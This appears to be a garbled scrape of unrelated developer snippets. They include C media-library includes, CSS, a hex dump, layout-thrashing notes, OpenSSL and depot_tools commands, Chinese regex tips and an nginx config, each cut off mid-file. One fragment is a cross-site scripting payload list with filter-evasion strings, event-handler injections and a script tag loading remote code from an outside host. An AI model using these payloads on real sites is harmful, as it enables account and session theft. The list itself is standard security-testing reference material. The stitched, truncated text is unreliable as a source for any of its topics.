| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <stdbool.h> | |
| #include <time.h> | |
| #include <windows.h> | |
| #include <libavcodec/avcodec.h> | |
| #include <libavformat/avformat.h> | |
| //#include <libavutil/frame.h> | |
| #include <SDL2/SDL.h> |
| <script src="https://unpkg.com/@webcomponents/custom-elements"></script> | |
| <style> | |
| body { | |
| margin: 0; | |
| } | |
| /* Style the element from the outside */ | |
| /* | |
| fancy-tabs { | |
| margin-bottom: 32px; |
| ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
| '';!--"<XSS>=&{()} | |
| 0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
| <script/src=data:,alert()> | |
| <marquee/onstart=alert()> | |
| <video/poster/onerror=alert()> | |
| <isindex/autofocus/onfocus=alert()> | |
| <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
| <IMG SRC="javascript:alert('XSS');"> | |
| <IMG SRC=javascript:alert('XSS')> |
以下は、AVCDecoderConfigurationRecord のバイトデータです。
ADDR 0 1 2 3 4 5 6 7 8 9 A B C D E F
------ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
000000 00 00 00 2e 61 76 63 43 01 42 c0 1e ff e1 00 16
000010 67 42 c0 1e d9 02 04 68 40 00 00 03 01 40 00 00
000020 03 00 83 c5 8b 92 01 00 05 68 cb 83 cb 20
All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.
Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.
elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent
| # SSL self signed localhost for rails start to finish, no red warnings. | |
| # 1) Create your private key (any password will do, we remove it below) | |
| $ openssl genrsa -des3 -out server.orig.key 2048 | |
| # 2) Remove the password | |
| $ openssl rsa -in server.orig.key -out server.key |
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git$ nano ~/.zshrcpath=('/path/to/depot_tools' $path)
| 正则匹配 | |
| 匹配中文字符的正则表达式： [\u4e00-\u9fa5] | |
| 评注：匹配中文还真是个头疼的事，有了这个表达式就好办了 | |
| 匹配双字节字符(包括汉字在内)：[^\x00-\xff] | |
| 评注：可以用来计算字符串的长度（一个双字节字符长度计2，ASCII字符计1） | |
| 匹配空白行的正则表达式：\n\s*\r | |
| 评注：可以用来删除空白行 |
There was a [great article][1] about how react implements it's virtual DOM. There are some really interesting ideas in there but they are deeply buried in the implementation of the React framework.
However, it's possible to implement just the virtual DOM and diff algorithm on it's own as a set of independent modules.
| # Change YOUR_TOKEN to your prerender token | |
| # Change example.com (server_name) to your website url | |
| # Change /path/to/your/root to the correct value | |
| server { | |
| listen 80; | |
| server_name example.com; | |
| root /path/to/your/root; | |
| index index.html; |